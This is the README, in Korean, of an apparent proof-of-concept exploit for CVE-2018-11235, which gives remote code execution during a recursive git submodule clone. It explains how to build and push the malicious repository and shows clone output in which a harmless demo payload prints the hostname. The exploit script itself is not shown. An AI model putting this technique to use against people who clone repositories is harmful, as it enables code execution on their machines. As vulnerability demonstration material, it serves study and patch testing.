
CVE-2018-11235용 PoC 익스플로잇으로, `git clone --recurse-submodules`에서 RCE를 허용합니다.
GitHub는 취약점을 악용하는 저장소를 푸시하는 것을 허용하지 않습니다 (그들 입장에서는 잘한 일이죠). 따라서 build.sh 스크립트를 직접 실행하여 빌드해야 합니다.
그런 다음 저장소를 어딘가에 푸시하세요. --recurse-submodules 플래그로
클론하면 악성 스크립트가 실행됩니다:
$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Here is your hostname: snip
Submodule path 'evil': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
코드는 @peff의 git patch에서 파생되었습니다
(t/t7415-submodule-names.sh 테스트 파일을 참조하세요).
따라서 이 저장소는 GNU General Public License 버전 2로 배포됩니다.
이전 버전의 git을 위한 추가 수정은 @atorralba님이 제공해 주셨습니다 (이 게시물의 자세한 내용).